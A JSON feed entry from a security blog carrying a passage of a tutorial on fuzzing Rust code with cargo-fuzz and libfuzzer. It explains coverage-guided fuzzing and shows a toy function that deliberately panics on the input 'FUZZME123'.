{"version":"https://jsonfeed.org/version/1.1","title":"suidpit","home_page_url":"https://suidpit.sh/","feed_url":"https://suidpit.sh/feed.json","description":"weird machines engineer | word generator","items":[{"id":"https://suidpit.sh/posts/fuzzing-rust/","url":"https://suidpit.sh/posts/fuzzing-rust/","title":"Fuzzing Rust projects with `cargo-fuzz` and libfuzzer","content_html":"\u003chr\u003e\n\u003ch2 id=\"concepts\"\u003eConcepts\u003c/h2\u003e\n\u003ch3 id=\"what-is-a-fuzzer\"\u003eWhat is a fuzzer\u003c/h3\u003e\n\u003cp\u003eA \u003cstrong\u003efuzzer\u003c/strong\u003e is a program that can take another program and exercise its features by supplying many many different kinds of input to it, trying to exercise and stress the program under test as much as possible, with the goal of uncovering bugs and crashes.\u003c/p\u003e\n\u003ch3 id=\"coverage-guided-fuzzers\"\u003eCoverage-guided fuzzers\u003c/h3\u003e\n\u003cp\u003eA naive solution for a fuzzer would just randomly throw inputs at the program, and then record the test input that made the program crash/hang.\u003c/p\u003e\n\u003cp\u003eHowever, in doing this, we would have no way of \u0026ldquo;guiding\u0026rdquo; the way we generate input. We would have no way of establishing whether an input is \u0026ldquo;better\u0026rdquo; than another (better here means: exercises more the program) unless there is a crash. Or, we would have no way of knowing whether the specific entrypoint that the fuzzer is using, is touching all the relevant and fuzzable parts of the codebase.\u003c/p\u003e\n\u003cp\u003eThe way to solve this is by implementing a way to measure the coverage of the fuzzing process. So we obtain:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA way to discover paths that are not touched by the fuzzer, so that we can improve the harness\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/li\u003e\n\u003cli\u003eA way for the fuzzer to guide, at runtime, the generation/mutation of the inputs, prioritizing inputs that increase the coverage.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eA way to obtain this runtime coverage is to \u003cstrong\u003einstrument\u003c/strong\u003e the program, adding some custom profiling to the basic blocks that are executed. This can be done by using custom compiler passes, or by using dynamic instrumentation frameworks.\u003c/p\u003e\n\u003ch3 id=\"example-project\"\u003eExample project\u003c/h3\u003e\n\u003cp\u003eIn order to experiment with fuzzing, I\u0026rsquo;ve created a toy example on \u003ca href=\"https://github.com/suidpit/rust-fuzz-garden\"\u003ehttps://github.com/suidpit/rust-fuzz-garden\u003c/a\u003e. It contains a simple API function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e: \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"kt\"\u003eu8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;FUZZME123\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003etake_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e: \u003cspan class=\"kp\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"kt\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eas_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eSECRET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"fm\"\u003epanic!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;full match reached crash condition\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003etake_string\u003c/code\u003e function takes the input and compares it byte-to-byte to a given secret. A good coverage-guided fuzzer should be easily able to iteratively extract the crashing test-case (which we expect to be exactly equal to \u003ccode\u003eFUZZME123\u003c/code\u003e).\u003c/p\u003e\n\u003ch2 id=\"fuzzing-with-libfuzzer-via-cargo-fuzz\"\u003eFuzzing with libfuzzer via cargo-fuzz\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003elibfuzzer\u003c/code\u003e is the industry standard for in-process\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e fuzzing. It is part of the LLVM project, which makes it very easy to integrate in Rust projects, since \u003ca href=\"https://rustc-dev-guide.rust-lang.org/overview.html#code-generation\"\u003e\u003ccode\u003erustc\u003c/code\u003e is actually a compiler frontend for the LLVM IR\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eFuzzing with \u003ccode\u003elibfuzzer\u003c/code\u003e can be easily setup by utilizing the \u003ca href=\"https://rust-fuzz.github.io/book/cargo-fuzz.html\"\u003ecargo-fuzz\u003c/a\u003e utility, which hides much of the complexity of setting up the compilation flags for fuzzing.\u003c/p\u003e\n\u003cp\u003eOnce the \u003ca href=\"https://rust-fuzz.github.io/book/cargo-fuzz/setup.html\"\u003erequirements\u003c/a\u003e are installed and the \u003ca 